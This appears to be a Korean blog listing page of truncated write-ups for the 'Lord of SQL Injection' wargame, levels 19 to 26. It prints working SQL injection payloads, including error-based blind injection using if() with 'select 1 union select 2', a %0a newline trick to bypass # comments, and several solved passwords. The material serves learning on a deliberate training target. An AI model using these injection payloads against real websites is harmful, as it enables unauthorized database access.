WarGame/Lord of SQL Injection (26) 썸네일형 리스트형 All Clear [LOS] 25. umaru ⓐ flag의 값을 필터링 ⓑ 현재 로그인 session을 가지고 flag를 가져옴 ⓒ 임시 테이블을 생성하고 원래 테이블의 자신의 session에 대한 내용을 그대로 옮김 ⓓ 임시 테이블에 flag 값을 update ⓔ 임시 테이블의 flag 값을 가져옴 ⓕ session에 대한 flag값이 없거나, 원래 테이블의 flag값과 입력한 flag 값이 다르면 flag reset ( reset_flag()함수를 통해서 ) ⓖ 원래 테이블의 flag값과 입력한 flag값이 동일하면 문제 해결 ?flag=''' 입력 시 rest ok FLAG 값이 rest 된 것을 알 수 있다. 1. flage의 값이 100글자를 넘기지 말 것 2. flag가 갱신되지 않도록 update 쿼리문에서 에러를 발생시킬 것 3. ,.. [LOS] 24. evil wizard [LOS] 23. hell fire [LOS] 22. dark eyes ?pw=''' 입력 시 빈 페이지를 보여주는 것을 알 수 있다. if문을 사용할 수 없게 되어 union을 이용하여 pw=' or id='admin' and (select 1 union selec 2 (length(pw)=10)) # 입력 시 빈 페이지를 보여주는 것을 알 수 있다. pw=' or id='admin' and (select 1 union selec 2 (length(pw)=8)) # 입력 시 메시지가 보이는 것을 알 수 있다. ?pw=5a2f5d3c 입력 시 해결되는 것을 알 수 있다. [LOS] 21. iron golem Error Based Blind SQL Injection MySQL에서 if() 함수를 사용하면 참일 때와 거짓일 때 에러를 구분하여 발생시킬 수 있게 만들 수 있습니다. if(1=2, 'True', 'False'); False if(1=1, 'True','Fasle)'); True ?pw=''' 입력 시 아래와 같은 에러가 발생한다. ?pw=1%27 or if(length(pw)=15,(select 1 union select 2),1)%23 입력 시 아무런 메시지가 보이지 않았다. ?pw=1%27 or if(length(pw)=16,(select 1 union select 2),1)%23 입력 시 Subquery retruns more than 1 row 메시지를 확인할 수 있다. ?pw=!!!! 입력.. [LOS] 20. dragon #은 한 줄 주석이므로 %0a를 이용해 줄을 바꾼 후 pw=%0a and pw='' or id='admin' # 입력 시 해결되는 것을 알 수 있다. [LOS] 19. xavis ?pw=' or length(pw) 출력 결과 : 3000 ord 함수 특정한 한 문자를 아스키코드 값으로 변환해 주는 함수 chr 함수 아스키 코드 값을 문자로 변환해 주는 함수 ?pw=¸ùŰÆÐÄ¡¤» 입력 시 해결되는 것을 알 수 있다. 이전 1 2 3 4 다음